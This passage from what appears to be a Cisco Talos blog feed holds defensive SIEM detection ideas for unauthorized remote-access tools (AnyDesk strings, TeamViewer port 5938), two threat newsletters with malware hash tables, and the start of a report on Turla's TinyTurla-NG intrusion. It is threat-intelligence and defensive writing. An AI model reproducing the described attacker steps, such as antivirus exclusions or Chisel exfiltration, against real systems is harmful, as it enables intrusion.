href="https://www.cisco.com/c/en/us/td/docs/security/ise/2-2/admin_guide/b_ise_admin_guide_22/b_ise_admin_guide_22_chapter_010111.html#ID214">Posture Checks</a>. Organizations can use this to ensure that only the approved version(s) of their approved remote management tool are allowed on the network, directly addressing the threat of an adversary introducing an older version of the approved solution to the network for malicious purposes.</p><h2 id="alerts-and-forensics">Alerts and forensics</h2><p>Due to the complexity of implementing all these controls, detection rules can serve as a backup in case an adversary finds a way to circumvent the previous mitigations we discussed. The possibilities for these &#x201C;tripwire&#x201D; detections are endless, and SOCs/threat-hunting teams should continuously think of ways to improve them, but some ideas are listed below.</p><h4 id="central-log-collection">Central log collection</h4><p>The first prerequisite for any successful detections is to have centralized log aggregation. At the very minimum, this should ingest firewall logs, EDR alerts and Windows Event logs for key servers.&#xA0;</p><h4 id="siem-alerts-for-suspicious-strings">SIEM alerts for suspicious strings</h4><p>Setting up a simple alert that triggers upon observation of strings associated with unauthorized remote access/management software product names (e.g., &#x201C;AnyDesk&#x201D;) can be an effective way to proactively identify unexpected product installations that were not otherwise blocked.</p><p>For example, an MSI installation would generate an Event 11707 entry in the Windows Application Event logs containing the software product name. If the SIEM were ingesting and evaluating those event logs, it would fire an alert, thereby alerting the SOC to a potential installation. This rule would need to be tuned to avoid excessive false positives, but it could result in a valuable early detection method.&#xA0;</p><h4 id="siem-alerts-for-firewall-blocks-on-unique-ports">SIEM alerts for firewall blocks on unique ports</h4><p>Enhanced alerting may be necessary to draw a SOC&#x2019;s attention to firewall blocks associated with remote management/access traffic. Firewalls continuously block traffic, generally dropping thousands or millions of packets per hour. With that in mind, SOCs are not alerted every time a firewall rule drops traffic &#x2014; especially if the rule that drops the traffic is the Implicit Deny rule blocking all traffic that was not specifically allowed. However, if an internal host attempts to communicate over a port dedicated to remote access/management software, that might merit attention from the SOC.&#xA0;</p><p>It&apos;s worth considering creating an SIEM rule that alerts on any firewall block event involving outbound traffic to certain key ports, for example, 5938 (associated with TeamViewer). That alert, while an indication that the network blocks are working as intended, would be a good indication that the SOC needs to investigate the system originating the traffic.</p><p>The level of effort required to properly secure remote management/access software is daunting. However, the frequency of use by adversaries makes that effort a necessity. In the wrong hands, these tools serve as a ready-made command and control mechanism. If an organization can afford to secure its VPN solution, it should almost certainly devote resources to locking down unauthorized remote management software, as well.</p>]]></content:encoded></item><item><title><![CDATA[Enter the substitute teacher]]></title><description><![CDATA[Welcome to this week’s threat source newsletter with Jon out, you’ve got me as your substitute teacher. 

I’m taking you back to those halcyon days of youth and that moment when you found out that you had a sub that day...]]></description><link>https://blog.talosintelligence.com/threat-source-newsletter-enter-the-substitute-teacher/</link><guid isPermaLink="false">66057f83417bbe000168a9fd</guid><category><![CDATA[Threat Source newsletter]]></category><dc:creator><![CDATA[William Largent]]></dc:creator><pubDate>Thu, 28 Mar 2024 14:00:00 GMT</pubDate><media:content url="https://blog.talosintelligence.com/content/images/2024/03/threat-source-newsletter-3.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.talosintelligence.com/content/images/2024/03/threat-source-newsletter-3.jpg" alt="Enter the substitute teacher"><p>Welcome to this week&#x2019;s threat source newsletter with Jon out, you&#x2019;ve got me as your substitute teacher.&#xA0;</p><p>I&#x2019;m taking you back to those halcyon days of youth and that moment when you found out that you had a sub that day, will I be the teacher that just rolls in the TV cart and delivers the single greatest blast of freedom that you can have in a classroom, or will I be the teacher that strolls into your 4<sup>th</sup> grade class and is appalled that you aren&#x2019;t already conversant in Dostoevsky? Neither. Today I will be the old wizened oracle offering advice and attempting to answer one of the most asked questions I receive at public speaking engagements. So pull up a desk and don&#x2019;t make that high pitched sound with a wet finger on the basket underneath the seat, because I know the old magicks.&#xA0;&#xA0;</p><p>The number one question that I field after public speaking is &#x201C;Why did they let you out of your cage to talk to normal people?&#x201D; and honestly, I don&#x2019;t really have an answer I just hope that no one notices. The next question is invariably a variation of &#x201C;How did you become a threat hunter?&#x201D;, &#x201C;How do I get a job in cyber security?&#x201D;, &#x201C;How do I get a gig within Talos?&#x201D; The answer is simply &#x2013; be curious. Intellectual curiosity is the key. I&#x2019;ll take it a step further when talking specifically about Talos and quote Walt Whitman (via Ted Lasso) and say, &#x201C;Be curious, not judgmental&#x201D; because being a positive part of the culture is as important as the deep arcane knowledge and skills that you need to get your foot in the door at Talos.&#xA0;&#xA0;</p><p>There are a lot of paths that you can take in security and the various skill sets along each path vary but curiosity will carry you through each one. A lot of people will tell you to follow your passion and I will vehemently disagree; I will say to follow your aptitude. As you learn and grow within the field, you&#x2019;ll find that some things come easily, don&#x2019;t fight the wind in that scenario be the willow. If you are extremely early in your journey, find the helpers. There are tons of super helpful people, sites, and resources available to get you started and finding them is easy if you are curious. Attend a <a href="https://bsides.org/" rel="noreferrer noopener"><u>BSides</u></a> or local security group like <a href="http://www.austinhackers.org/" rel="noreferrer noopener"><u>AHA</u></a>. Install <a href="https://www.snort.org/" rel="noreferrer noopener"><u>Snort</u></a> and start learning what traffic looks like on the wire and create custom signatures. Install <a href="https://www.kali.org/" rel="noreferrer noopener"><u>Kali</u></a> and break things, in your own environment please. Combine the two and see where it will take you. If you are further along in your journey and are interested in taking the next step from analyst to malware research or reverse engineering, you can start with <a href="https://hshrzd.wordpress.com/how-to-start/" rel="noreferrer noopener"><u>hasherezade&apos;s 1001 nights</u></a> and see if you have the aptitude to follow that path. Don&#x2019;t be afraid to try something and fail. Don&#x2019;t expect to be good from the start. Don&#x2019;t be afraid to ask questions and admit that you don&#x2019;t know something &#x2013; the most important things I&#x2019;ve picked up usually come from &#x201C;I don&#x2019;t know, could you teach me?&#x201D;.&#xA0;&#xA0;</p><p>In the end there are truly almost as many paths as there are people doing the jobs. It&#x2019;s crazy how varied the backgrounds on our teams are but curiosity is rampant.&#xA0;&#xA0;</p><h2 id="the-one-big-thing">The one big thing&#xA0;</h2><p>The one big thing is that clearly, I&#x2019;m substituting, and all is normal in the security world. Vulns continue to be exploited, security vendors continue to be consolidated, and everything is as it was in the world. THISISFINEDOTGIF.&#xA0;&#xA0;</p><h3 id="why-do-i-care">Why do I care?&#xA0;</h3><p>Because it&#x2019;s what keeps us up at night. That and a warm cup of Liber-Tea.&#xA0;&#xA0;</p><h3 id="so-now-what">So now what?&#xA0;</h3><p>Now we deliver Managed Democracy on Hell Divers 2 &#x2013; together.&#xA0;&#xA0;</p><p>&#xA0;</p><h2 id="top-security-headlines-of-the-week">Top security headlines of the week&#xA0;</h2><p>&#xA0;</p><p>A newly discovered vulnerability baked into Apple&#x2019;s M-series of chips allows attackers to extract secret keys from Macs when they perform widely used cryptographic operations, academic researchers have revealed in a paper published Thursday. (<a href="https://arstechnica.com/security/2024/03/hackers-can-extract-secret-encryption-keys-from-apples-mac-chips/" rel="noreferrer noopener"><u>Ars Technica</u></a>, <a href="https://www.wired.com/story/apple-m-chip-flaw-leak-encryption-keys/" rel="noreferrer noopener"><u>Wired</u></a>&#xA0;&#xA0;&#xA0;&#xA0;</p><p>Metasploit has announced the release of Metasploit Framework 6.4 which features several improvements and a new feature for Windows Meterpreter that allows for searching a process&apos;s memory for user-specified needles with support for regular expressions. (<a href="https://www.rapid7.com/blog/post/2024/03/25/metasploit-framework-6-4-released/" rel="noreferrer noopener"><u>Rapid 7</u></a>)&#xA0;</p><p>&#xA0;</p><h1 id="can%E2%80%99t-get-enough-talos">Can&#x2019;t get enough Talos?&#xA0;</h1><p>&#xA0;</p><ul><li><a href="https://www.crn.com/news/cloud/2024/cisco-closes-28b-splunk-deal-5-big-ai-security-and-partner-things-to-know" rel="noreferrer noopener"><u>Cisco Closes $28B Splunk Deal: 5 Big AI, Security And Partner Things To Know</u></a>&#xA0;</li><li><a href="https://beerswithtalos.talosintelligence.com/2033817/14730207-the-old-people-episode" rel="noreferrer noopener"><u>Beers With Talos: The old people episode</u></a>&#xA0;</li><li><a href="https://blog.talosintelligence.com/exploiting-low-severity-vulnerability-using-a-frame-pointer-overwrite/" rel="noreferrer noopener"><u>Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word</u></a>&#xA0;</li></ul><p></p><h1 id="upcoming-events-where-you-can-find-talos">Upcoming events where you can find Talos&#xA0;</h1><p>&#xA0;</p><p><a href="https://www.botconf.eu/schedule/" rel="noreferrer"><strong><u>Botconf</u></strong></a><strong> (April 23 - 26)</strong>&#xA0;</p><p><em>Nice, C&#xF4;te d&apos;Azur, France</em></p><blockquote><em>This presentation from Chetan Raghuprasad details the Supershell C2 framework. Threat actors are using this framework massively and creating botnets with the Supershell implants.</em></blockquote><p><a href="https://www.rsaconference.com/" rel="noreferrer noopener"></a></p><p><a href="https://www.caro2024.org/agenda/" rel="noreferrer"><strong><u>CARO Workshop 2024</u></strong></a><strong> (May 1 - 3)</strong>&#xA0;</p><p><em>Arlington, Virginia</em></p><blockquote>Over the past year, we&#x2019;ve observed a substantial uptick in attacks by YoroTrooper, a relatively nascent espionage-oriented threat actor operating against the Commonwealth of Independent Countries (CIS) since at least 2022. Asheer Malhotra&apos;s presentation at CARO 2024 will provide an overview of their various campaigns detailing the commodity and custom-built malware employed by the actor, their discovery and evolution in tactics. He will present a timeline of successful intrusions carried out by YoroTrooper targeting high-value individuals associated with CIS government agencies over the last two years.</blockquote><p><a href="https://www.rsaconference.com/" rel="noreferrer noopener"><strong><u>RSA</u></strong></a><strong> (May 6 - 9)</strong>&#xA0;</p><p><em>San Francisco, California</em>&#xA0;</p><p>&#xA0;</p><h2 id="most-prevalent-malware-files-from-talos-telemetry-over-the-past-week">Most prevalent malware files from Talos telemetry over the past week&#xA0;</h2><p></p><p><strong>SHA 256:</strong> <a href="https://www.virustotal.com/gui/file/7b3ec2365a64d9a9b2452c22e82e6d6ce2bb6dbc06c6720951c9570a5cd46fe5/details" rel="noreferrer">7b3ec2365a64d9a9b2452c22e82e6d6ce2bb6dbc06c6720951c9570a5cd46fe5</a>&#xA0;<br><strong>MD5:</strong> ff1b6bb151cf9f671c929a4cbdb64d86&#xA0;<br><strong>Typical Filename:</strong> endpoint.query&#xA0;<br><strong>Claimed Product:</strong> Endpoint-Collector&#xA0;<br><strong>Detection Name:</strong> W32.File.MalParent&#xA0;</p><p>&#xA0;</p><p>&#xA0;</p><p><strong>SHA 256:</strong> <a href="https://www.virustotal.com/gui/file/9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507/details&#xA0;" rel="noreferrer">9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507&#xA0;&#xA0;</a><br><strong>MD5:</strong> 2915b3f8b703eb744fc54c81f4a9c67f&#xA0;&#xA0;<br><strong>Typical Filename:</strong> VID001.exe&#xA0;&#xA0;<br><strong>Claimed Product:</strong> N/A&#xA0;&#xA0;<br><strong>Detection Name:</strong> Win.Worm.Coinminer::1201&#xA0;</p><p>&#xA0;</p><p><strong>SHA 256:</strong> <a href="https://www.virustotal.com/gui/file/a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91/details" rel="noreferrer">a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91</a>&#xA0;&#xA0;<br><strong>MD5:</strong> 7bdbd180c081fa63ca94f9c22c457376&#xA0;<br><strong>Typical Filename:</strong> c0dwjdi6a.dll&#xA0;<br><strong>Claimed Product: </strong>N/A&#xA0;&#xA0;<br><strong>Detection Name:</strong> Trojan.GenericKD.33515991&#xA0;</p><p>&#xA0;</p><p><strong>SHA 256:</strong> <a href="https://www.virustotal.com/gui/file/0e2263d4f239a5c39960ffa6b6b688faa7fc3075e130fe0d4599d5b95ef20647/details&#xA0;" rel="noreferrer">0e2263d4f239a5c39960ffa6b6b688faa7fc3075e130fe0d4599d5b95ef20647</a>&#xA0;<br><strong>MD5:</strong> bbcf7a68f4164a9f5f5cb2d9f30d9790&#xA0;<br><strong>Typical Filename: </strong>bbcf7a68f4164a9f5f5cb2d9f30d9790.vir&#xA0;<br><strong>Claimed Product: </strong>N/A&#xA0;<br><strong>Detection Name:</strong> Win.Dropper.Scar::1201&#xA0;</p><p>&#xA0;</p><p><strong>SHA 256:</strong> <a href="https://www.virustotal.com/gui/file/e38c53aedf49017c47725e4912fc7560e1c8ece2633c05057b22fd4a8ed28eb3/details" rel="noreferrer">e38c53aedf49017c47725e4912fc7560e1c8ece2633c05057b22fd4a8ed28eb3</a>&#xA0;<br><strong>MD5:</strong> c16df0bfc6fda86dbfa8948a566d32c1&#xA0;<br><strong>Typical Filename:</strong> CEPlus.docm&#xA0;<br><strong>Claimed Product:</strong> N/A&#xA0;&#xA0;<br><strong>Detection Name: </strong>Doc.Downloader.Pwshell::mash.sr.sbx.vioc&#xA0;</p>]]></content:encoded></item><item><title><![CDATA[“Pig butchering” is an evolution of a social engineering tactic we’ve seen for years]]></title><description><![CDATA[In the case of pig butchering scams, it’s not really anything that can be solved by a cybersecurity solution or sold in a package.]]></description><link>https://blog.talosintelligence.com/threat-source-newsletter-march-21-2024/</link><guid isPermaLink="false">65fc449e34116a00012c497d</guid><category><![CDATA[Threat Source newsletter]]></category><dc:creator><![CDATA[Jonathan Munshaw]]></dc:creator><pubDate>Thu, 21 Mar 2024 18:00:29 GMT</pubDate><media:content url="https://blog.talosintelligence.com/content/images/2024/03/threat-source-newsletter-2.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.talosintelligence.com/content/images/2024/03/threat-source-newsletter-2.jpg" alt="&#x201C;Pig butchering&#x201D; is an evolution of a social engineering tactic we&#x2019;ve seen for years"><p>Whether you want to call them &#x201C;catfishing,&#x201D; &#x201C;pig butchering&#x201D; or just good &#x2018;old-fashioned &#x201C;social engineering,&#x201D; romance scams have been around forever. &#xA0;</p><p>I was first introduced to them through the MTV show &#x201C;Catfish,&#x201D; but recently they seem to be making headlines as the term &#x201C;pig butchering&#x201D; enters the public lexicon. John Oliver <a href="https://youtu.be/pLPpl2ISKTg?si=UmG4ZaVAsSdUNADH" rel="noreferrer noopener"><u>recently covered it on &#x201C;Last Week Tonight,&#x201D;</u></a> which means everyone my age with an HBO account heard about it a few weeks ago. And one of my favorite podcasts going, &#x201C;Search Engine,&#x201D; just <a href="https://pjvogt.substack.com/p/whos-behind-these-scammy-text-messages" rel="noreferrer noopener"><u>covered it in an episode</u></a>.&#xA0;</p><p>The concept of &#x201C;pig butchering&#x201D; scams generally follows the same chain of events:&#xA0;</p><ul><li>An unknown phone number texts or messages a target with a generally harmless message, usually asking for a random name disguised as an &#x201C;Oops, wrong number!&#x201D; text.&#xA0;</li><li>When the target responds, the actor tries to strike up a conversation with a friendly demeanor.&#xA0;</li><li>If the conversation persists, they usually evolve into &#x201C;love bombing,&#x201D; including compliments, friendly advice, ego-boosting, and saying flattering things about any photos the target has sent.&#xA0;</li><li>Sometimes, the relationship may turn romantic.&#xA0;</li><li>The scammer eventually &#x201C;butchers&#x201D; the &#x201C;pig&#x201D; that has been &#x201C;fattened up&#x201D; to that point, scamming them into handing over money, usually in the form of a phony cryptocurrency app, or just straight up asking for the target to send the scammer money somehow.&#xA0;</li></ul><p>There are a few twists and turns along the way based on the exact scammer, but that&#x2019;s generally how it works. What I think is important to remember is that this specific method of separating users from their money is not actually new. &#xA0;</p><p>The FBI seems to <a href="https://www.securitymagazine.com/articles/100407-the-fbi-warns-of-the-prevalence-of-romance-scams-this-valentines-day#:~:text=To%20avoid%20being%20the%20victim,avoid%20these%20malicious%20actors%20online." rel="noreferrer noopener"><u>release a renewed warning</u></a> about romance scams every Valentine&#x2019;s Day when people are more likely to fall for a stranger online wanting to make a real connection and then eventually asking for money. I even found&#xA0;<a href="https://www.fbi.gov/audio-repository/news-podcasts-thisweek-romance-scams.mp3/view" rel="noreferrer noopener"><u>a podcast from the FBI in 2015</u></a> in which they warned that scammers&#xA0;&#x201C;promise love, romance, to entice their victims online,&#x201D; estimating that romance-related scams cost consumers $82 million in the last half of 2014. &#xA0;</p><p>The main difference that I can tell between &#x201C;pig butchering&#x201D; and past romance scams is the sheer scale. Many actors running these operations are <a href="https://news.sophos.com/en-us/2023/02/28/sour-grapes-stomping-on-a-cambodia-based-pig-butchering-scam/" rel="noreferrer noopener"><u>relying on human trafficking</u></a> and sometimes <a href="https://www.chainalysis.com/blog/pig-butchering-human-trafficking/" rel="noreferrer noopener"><u>literal imprisonment</u></a>, forcing these people against their will to send these mass blocks of messages to a variety of targets indiscriminately. Oftentimes in these groups, scammers who are less &#x201C;successful&#x201D; in luring victims can be verbally and physically harassed and punished. That is, of course, a horrible human toll that these operations are taking, but they also extend far beyond the world of cybersecurity.&#xA0;</p><p>In the case of pig butchering scams, it&#x2019;s not really anything that can be solved by a cybersecurity solution or sold in a package. Instead, it relies on user education and the involvement of law enforcement agencies and international governments to ensure these farms can&#x2019;t operate in the shows. The founders who run them are brought to justice.&#xA0;</p><p>It&#x2019;s never a bad thing that users become more educated on these scams, because of that, but I also feel it&#x2019;s important to remember that romance-related scams, and really any social engineering built on a personal &#x201C;relationship,&#x201D; has <a href="https://blogs.cisco.com/security/your-money-or-your-life-digital-extortion-scams" rel="noreferrer noopener"><u>been around for years</u></a>, and &#x201C;pig butchering&#x201D; is not something new that just started popping up.&#xA0;</p><p>These types of scams are ones that our culture has kind of just accepted as&#xA0;part of daily life at this point (who doesn&#x2019;t get surprised when they get a call about their &#x201C;car&#x2019;s extended warranty?), and now the infrastructure to support these scams is taking a larger human toll than ever.&#xA0;</p><h2 id="the-one-big-thing">The one big thing&#xA0;</h2><p>Talos has <a href="https://blog.talosintelligence.com/tinyturla-full-kill-chain/" rel="noreferrer">yet another round of research</a> into the Turla APT, and now we&#x2019;re able to see the entire kill chain this actor uses, including the tactics, techniques and procedures (TTPs) utilized to steal valuable information from their victims and propagate through their infected enterprises. Before deploying TinyTurla-NG, Turla will attempt to configure anti-virus software exclusions to evade detection of their backdoor. Once exclsions have been set up, TTNG is written to the disk, and persistence is established by creating a malicious service.&#xA0;</p><h3 id="why-do-i-care">Why do I care?&#xA0;</h3><p>Turla, and this recently discovered TinyTurlaNG tool that Talos has been writing about, is an international threat that&#x2019;s been around for years, so it&#x2019;s always important for the entire security community to know what they&#x2019;re up to. Most recently, Turla used these tactics to <a href="https://blog.talosintelligence.com/tinyturla-ng-tooling-and-c2/" rel="noreferrer noopener"><u>target Polish non-governmental organizations (NGOs)</u></a> and steal sensitive data. &#xA0;</p><h2 id="so-now-what">So now what?&#xA0;</h2><p>During Talos&#x2019; research into TinyTurla-NG, we&#x2019;ve released several new rounds of detection content for Cisco Secure products. Read our <a href="https://blog.talosintelligence.com/tinyturla-ng-tooling-and-c2/" rel="noreferrer noopener"><u>past two blog posts</u></a> on this actor for more. &#xA0;</p><h1 id="top-security-headlines-of-the-week">Top security headlines of the week&#xA0;</h1><p><strong>The Biden administration issued a renewed warning to public water systems and operators this week,</strong> saying state-sponsored actors could carry out cyber attacks soon, citing ongoing threats from Iran and China. The White House and U.S. Environmental Protection Agency sent a letter to every U.S. governor this week warning them that cyber attacks could disrupt access to clean drinking water and &#x201C;impose significant costs on affected communities.&#x201D; The letter also points to the U.S. Cyber and Infrastructure Security Agency&#x2019;s list of known exploited vulnerabilities catalog, asking the managers of public water systems to ensure their systems are patched against these vulnerabilities. The EPA pointed to Volt Typhoon, a recently discovered Chinese APT that has reportedly been hiding on critical infrastructure networks for an extended period. A meeting among federal government leaders from the EPA and other related agencies is scheduled for March 21 to discuss threats to public water systems and how they can strengthen their cybersecurity posture. (<a href="https://www.bloomberg.com/news/articles/2024-03-19/us-warns-of-cyberattacks-against-water-systems-throughout-nation?leadSource=reddit_wall" rel="noreferrer noopener"><u>Bloomberg</u></a>, <a href="https://www.theverge.com/2024/3/20/24106749/us-water-systems-cyberattacks-threat-white-house-epa-letter" rel="noreferrer noopener"><u>The Verge</u></a>)&#xA0;</p><p><strong>UnitedHealth says it&apos;s still recovering from a cyber attack that&#x2019;s halted crucial payments to health care providers across the U.S.,</strong> but has started releasing some of those funds this week, and expects its payment processing software to be back online soon. The cyber attack, first disclosed in February, targeted Change Healthcare, a subsidiary of United, that handles payment processing and pharmaceutical orders for hospital chains and doctors offices. UnitedHealth&#x2019;s CEO said in a statement this week that the company has paid $2 billion to affected providers who spent nearly a month unable to obtain those funds or needing to switch to a paper billing system. A recently published survey from the American Hospital Association found that 94 percent of hospitals that responded experienced financial disruptions from the Change Healthcare attack, and costs at one point were hitting $1 million in revenue per day. (<a href="https://abcnews.go.com/Politics/unitedhealth-group-recovering-significant-cyberattack-ceo/story?id=108278122" rel="noreferrer noopener"><u>ABC News</u></a>, <a href="https://www.cnbc.com/2024/03/18/unitedhealth-group-paid-more-than-2-billion-to-providers-after-attack.html" rel="noreferrer noopener"><u>CNBC</u></a>)&#xA0;</p><p><strong>Nevada&#x2019;s state court system is currently weighing a case that could undo end-to-end encryption across the U.S.</strong> The state&#x2019;s Attorney General is currently suing Meta, the creators of Facebook, Instagram and WhatsApp, asking the company to remove end-to-end encryption for minors on the platform, with the promise of being able to catch and charge users who abuse the platform to lure minors. However, privacy advocates are concerned that any rulings against Meta and its encryption policies could have larger ripple effects, and embolden others to challenge encryption in other states. Nevada is arguing that Meta&#x2019;s Messenger a &#x201C;preferred method&#x201D; for individuals targeting Nevada children for illicit activities. Privacy experts are in favor of end-to-end encryption because it safeguards messages during transmission and makes it more difficult for other parties to intercept and read them &#x2014; including law enforcement agencies. (<a href="https://www.techpolicy.press/the-future-of-endtoend-encryption-may-get-decided-this-week-in-nevada/" rel="noreferrer noopener"><u>Tech Policy Press</u></a>, <a href="https://news.bloomberglaw.com/privacy-and-data-security/meta-encryption-privacy-fight-begins-in-nevada-state-court" rel="noreferrer noopener"><u>Bloomberg Law</u></a>)&#xA0;</p><h1 id="can%E2%80%99t-get-enough-talos">Can&#x2019;t get enough Talos?&#xA0;</h1><ul><li><a href="https://blog.talosintelligence.com/ransomware-affiliate-model/" rel="noreferrer noopener"><u>The LockBit story: Why the ransomware affiliate model can turn takedowns into disruptions</u></a>&#xA0;</li><li><a href="https://www.crn.com/news/cloud/2024/cisco-closes-28b-splunk-deal-5-big-ai-security-and-partner-things-to-know" rel="noreferrer noopener"><u>Cisco Closes $28B Splunk Deal: 5 Big AI, Security And Partner Things To Know</u></a>&#xA0;</li><li><a href="https://talostakes.talosintelligence.com/2018149/14691854-why-no-one-should-be-relying-on-passive-security-in-2024" rel="noreferrer noopener"><u>Talos Takes Ep. #176: Why no one should be relying on passive security in 2024</u></a>&#xA0;</li><li><a href="https://blog.talosintelligence.com/exploiting-low-severity-vulnerability-using-a-frame-pointer-overwrite/" rel="noreferrer noopener"><u>Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word</u></a>&#xA0;</li><li><a href="http://netgear%20wireless%20router%20open%20to%20code%20execution%20after%20buffer%20overflow%20vulnerability/" rel="noreferrer noopener"><u>Netgear wireless router open to code execution after buffer overflow vulnerability</u></a>&#xA0;</li></ul><h1 id="upcoming-events-where-you-can-find-talos">Upcoming events where you can find Talos&#xA0;</h1><p>&#xA0;</p><p><a href="https://www.botconf.eu/schedule/" rel="noreferrer"><strong><u>Botconf</u></strong></a><strong> (April 23 - 26)</strong>&#xA0;</p><p><em>Nice, C&#xF4;te d&apos;Azur, France</em></p><blockquote><em>This presentation from Chetan Raghuprasad details the Supershell C2 framework. Threat actors are using this framework massively and creating botnets with the Supershell implants.</em></blockquote><p><a href="https://www.rsaconference.com/" rel="noreferrer noopener"></a></p><p><a href="https://www.caro2024.org/agenda/" rel="noreferrer"><strong><u>CARO Workshop 2024</u></strong></a><strong> (May 1 - 3)</strong>&#xA0;</p><p><em>Arlington, Virginia</em></p><blockquote>Over the past year, we&#x2019;ve observed a substantial uptick in attacks by YoroTrooper, a relatively nascent espionage-oriented threat actor operating against the Commonwealth of Independent Countries (CIS) since at least 2022. Asheer Malhotra&apos;s presentation at CARO 2024 will provide an overview of their various campaigns detailing the commodity and custom-built malware employed by the actor, their discovery and evolution in tactics. He will present a timeline of successful intrusions carried out by YoroTrooper targeting high-value individuals associated with CIS government agencies over the last two years.</blockquote><p><a href="https://www.rsaconference.com/" rel="noreferrer noopener"><strong><u>RSA</u></strong></a><strong> (May 6 - 9)</strong>&#xA0;</p><p><em>San Francisco, California</em>&#xA0;&#xA0;&#xA0;&#xA0;</p><h2 id="most-prevalent-malware-files-from-talos-telemetry-over-the-past-week">Most prevalent malware files from Talos telemetry over the past week&#xA0;</h2><p><strong>SHA 256:</strong> <a href="https://www.virustotal.com/gui/file/0e2263d4f239a5c39960ffa6b6b688faa7fc3075e130fe0d4599d5b95ef20647/details&#xA0;" rel="noreferrer">0e2263d4f239a5c39960ffa6b6b688faa7fc3075e130fe0d4599d5b95ef20647</a>&#xA0;<br><strong>MD5:</strong> bbcf7a68f4164a9f5f5cb2d9f30d9790&#xA0;<br><strong>Typical Filename:</strong> bbcf7a68f4164a9f5f5cb2d9f30d9790.vir&#xA0;<br><strong>Claimed Product:</strong> N/A&#xA0;<br><strong>Detection Name:</strong> Win.Dropper.Scar::1201&#xA0;</p><p><strong>SHA 256:</strong> <a href="https://www.virustotal.com/gui/file/9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507/details&#xA0;&#xA0;" rel="noreferrer">9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507</a>&#xA0;&#xA0;<br><strong>MD5: </strong>2915b3f8b703eb744fc54c81f4a9c67f&#xA0;&#xA0;<br><strong>Typical Filename:</strong> VID001.exe&#xA0;&#xA0;<br><strong>Claimed Product:</strong> N/A&#xA0;&#xA0;<br><strong>Detection Name: </strong>Win.Worm.Coinminer::1201&#xA0;</p><p><strong>SHA 256:</strong> <a href="https://www.virustotal.com/gui/file/a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91/details&#xA0;" rel="noreferrer">a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91</a>&#xA0;&#xA0;<br><strong>MD5:</strong> 7bdbd180c081fa63ca94f9c22c457376&#xA0;<br><strong>Typical Filename:</strong> c0dwjdi6a.dll&#xA0;|<br><strong>Claimed Product:</strong> N/A&#xA0;&#xA0;<br><strong>Detection Name: </strong>Trojan.GenericKD.33515991&#xA0;</p><p><strong>SHA 256:</strong> <a href="https://www.virustotal.com/gui/file/7b3ec2365a64d9a9b2452c22e82e6d6ce2bb6dbc06c6720951c9570a5cd46fe5/details&#xA0;" rel="noreferrer">7b3ec2365a64d9a9b2452c22e82e6d6ce2bb6dbc06c6720951c9570a5cd46fe5</a>&#xA0;<br><strong>MD5:</strong> ff1b6bb151cf9f671c929a4cbdb64d86&#xA0;<br><strong>Typical Filename:</strong> endpoint.query&#xA0;<br><strong>Claimed Product: </strong>Endpoint-Collector&#xA0;<br><strong>Detection Name:</strong> W32.File.MalParent&#xA0;</p><p><strong>SHA 256:</strong> <a href="https://www.virustotal.com/gui/file/e38c53aedf49017c47725e4912fc7560e1c8ece2633c05057b22fd4a8ed28eb3/details&#xA0;" rel="noreferrer">e38c53aedf49017c47725e4912fc7560e1c8ece2633c05057b22fd4a8ed28eb3</a>&#xA0;<br><strong>MD5:</strong> c16df0bfc6fda86dbfa8948a566d32c1&#xA0;<br><strong>Typical Filename:</strong> CEPlus.docm&#xA0;<br><strong>Claimed Product:</strong> N/A&#xA0;&#xA0;<br><strong>Detection Name:</strong> Doc.Downloader.Pwshell::mash.sr.sbx.vioc&#xA0;</p>]]></content:encoded></item><item><title><![CDATA[New details on TinyTurla’s post-compromise activity reveal full kill chain]]></title><description><![CDATA[We now have new information on the entire kill chain this actor uses, including the tactics, techniques and procedures (TTPs) utilized to steal valuable information from their victims and propagate through their infected enterprises. ]]></description><link>https://blog.talosintelligence.com/tinyturla-full-kill-chain/</link><guid isPermaLink="false">65fb2872652a3c000105acf8</guid><category><![CDATA[APT]]></category><category><![CDATA[Turla]]></category><category><![CDATA[malware]]></category><dc:creator><![CDATA[Asheer Malhotra]]></dc:creator><pubDate>Thu, 21 Mar 2024 13:08:41 GMT</pubDate><media:content url="https://blog.talosintelligence.com/content/images/2024/03/TInyTurla_Header.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.talosintelligence.com/content/images/2024/03/TInyTurla_Header.jpg" alt="New details on TinyTurla&#x2019;s post-compromise activity reveal full kill chain"><p>Cisco Talos is providing an update on its <a href="https://blog.talosintelligence.com/tinyturla-next-generation/"><u>two recent</u></a> reports on a new and ongoing campaign where Turla, a Russian espionage group, deployed their <a href="https://blog.talosintelligence.com/tinyturla-ng-tooling-and-c2/"><u>TinyTurla-NG (TTNG)</u></a> implant. We now have new information on the entire kill chain this actor uses, including the tactics, techniques and procedures (TTPs) utilized to steal valuable information from their victims and propagate through their infected enterprises.&#xA0;</p><p></p><ul><li>Talos&#x2019; analysis, in coordination with <a href="https://cert.ngo/"><u>CERT.NGO</u></a>, reveals that Turla infected multiple systems in the compromised network of a European non-governmental organization (NGO).&#xA0;</li></ul><p></p><ul><li>The attackers compromised the first system, established persistence and added exclusions to anti-virus products running on these endpoints as part of their preliminary post-compromise actions.&#xA0;</li></ul><p></p><ul><li>Turla then opened additional channels of communication via Chisel for data exfiltration and to pivot to additional accessible systems in the network.</li></ul><p></p><h1 id="tracing-turla%E2%80%99s-steps-from-compromise-to-exfiltration">Tracing Turla&#x2019;s steps from compromise to exfiltration</h1><p>Talos discovered that post-compromise activity carried out by Turla in this intrusion isn&#x2019;t restricted to the sole deployment of their backdoors. Before deploying TinyTurla-NG, Turla will attempt to configure anti-virus software exclusions to evade detection of their backdoor. Once exclusions have been set up, TTNG is written to the disk, and persistence is established by creating a malicious service.</p><h2 